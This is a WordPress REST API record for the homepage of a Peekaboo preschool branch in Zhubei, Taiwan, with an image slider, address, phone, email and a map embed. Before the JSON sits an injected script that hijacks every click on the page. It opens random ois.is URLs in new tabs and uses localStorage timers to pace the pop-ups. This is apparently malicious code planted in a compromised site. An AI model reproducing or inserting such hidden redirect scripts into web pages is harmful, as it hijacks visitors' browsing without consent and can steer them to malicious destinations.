<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":684,"date":"2014-04-29T11:57:38","date_gmt":"2014-04-29T03:57:38","guid":{"rendered":"http:\/\/edu.secda.info\/peekaboo_chubei\/?page_id=684"},"modified":"2016-10-17T11:09:19","modified_gmt":"2016-10-17T03:09:19","slug":"%e6%b8%ac%e8%a9%a6%e9%a6%96%e9%a0%81","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/peekaboo_chubei\/","title":{"rendered":""},"content":{"rendered":"<div id=\"metaslider-id-1009\" style=\"max-width: 710px; margin: 0 auto;\" class=\"ml-slider-3-27-14 metaslider metaslider-flex metaslider-1009 ml-slider\">\n    <div id=\"metaslider_container_1009\">\n        <div id=\"metaslider_1009\">\n            <ul aria-live=\"polite\" class=\"slides\">\n                <li style=\"display: block; width: 100%;\" class=\"slide-1169 ms-image\"><img src=\"https:\/\/edu.secda.info\/peekaboo_chubei\/wp-content\/uploads\/2016\/10\/03-710x476.jpg\" height=\"476\" width=\"710\" alt=\"\" class=\"slider-1009 slide-1169\" \/><\/li>\n                <li style=\"display: none; width: 100%;\" class=\"slide-1168 ms-image\"><img src=\"https:\/\/edu.secda.info\/peekaboo_chubei\/wp-content\/uploads\/2016\/10\/02-710x476.jpg\" height=\"476\" width=\"710\" alt=\"\" class=\"slider-1009 slide-1168\" \/><\/li>\n                <li style=\"display: none; width: 100%;\" class=\"slide-1170 ms-image\"><img src=\"https:\/\/edu.secda.info\/peekaboo_chubei\/wp-content\/uploads\/2016\/10\/04-710x476.jpg\" height=\"476\" width=\"710\" alt=\"\" class=\"slider-1009 slide-1170\" \/><\/li>\n                <li style=\"display: none; width: 100%;\" class=\"slide-1167 ms-image\"><img src=\"https:\/\/edu.secda.info\/peekaboo_chubei\/wp-content\/uploads\/2016\/10\/01-710x476.jpg\" height=\"476\" width=\"710\" alt=\"\" class=\"slider-1009 slide-1167\" \/><\/li>\n            <\/ul>\n        <\/div>\n        \n    <\/div>\n<\/div>\n<table style=\"letter-spacing: 0.05em; width: 741px;\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"279\">\n<h2><b>\u65b0\u7af9\u7af9\u5317\u5206\u6821<\/b><\/h2>\n<h4>302\u65b0\u7af9\u7e23\u7af9\u5317\u5e02\u7e23\u653f\u4e5d\u8def215\u865f<\/h4>\n<h3>\u96fb\u8a71: (03)\u00a05583893<\/h3>\n<h3>\u96fb\u5b50\u4fe1\u7bb1: chubei@peekaboo.com.tw<\/h3>\n<\/td>\n<td valign=\"top\" width=\"470\"><iframe loading=\"lazy\" style=\"border: 0;\" src=\"https:\/\/www.google.com\/maps\/embed?pb=!1m18!1m12!1m3!1d3620.9347253400333!2d121.00975831500236!3d24.831905784067427!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x346836eb3fd95eff%3A0x31aab780d642dad7!2zMzAy5paw56u557ij56u55YyX5biC57ij5pS_5Lmd6LevMjE16Jmf!5e0!3m2!1szh-TW!2stw!4v1476673720185\" width=\"500\" height=\"250\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u00a0<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u65b0\u7af9\u7af9\u5317\u5206\u6821 302\u65b0\u7af9\u7e23\u7af9\u5317\u5e02\u7e23\u653f\u4e5d\u8def215\u865f \u96fb\u8a71: (03)\u00a0558389&hellip;<\/p>\n<p class=\"more-link-p\"><a class=\"more-link\" href=\"https:\/\/edu.secda.info\/peekaboo_chubei\/\">Read more &rarr;<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/peekaboo_chubei\/index.php?rest_route=\/wp\/v2\/pages\/684"}],"collection":[{"href":"https:\/\/edu.secda.info\/peekaboo_chubei\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/peekaboo_chubei\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_chubei\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_chubei\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=684"}],"version-history":[{"count":29,"href":"https:\/\/edu.secda.info\/peekaboo_chubei\/index.php?rest_route=\/wp\/v2\/pages\/684\/revisions"}],"predecessor-version":[{"id":1171,"href":"https:\/\/edu.secda.info\/peekaboo_chubei\/index.php?rest_route=\/wp\/v2\/pages\/684\/revisions\/1171"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/peekaboo_chubei\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=684"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}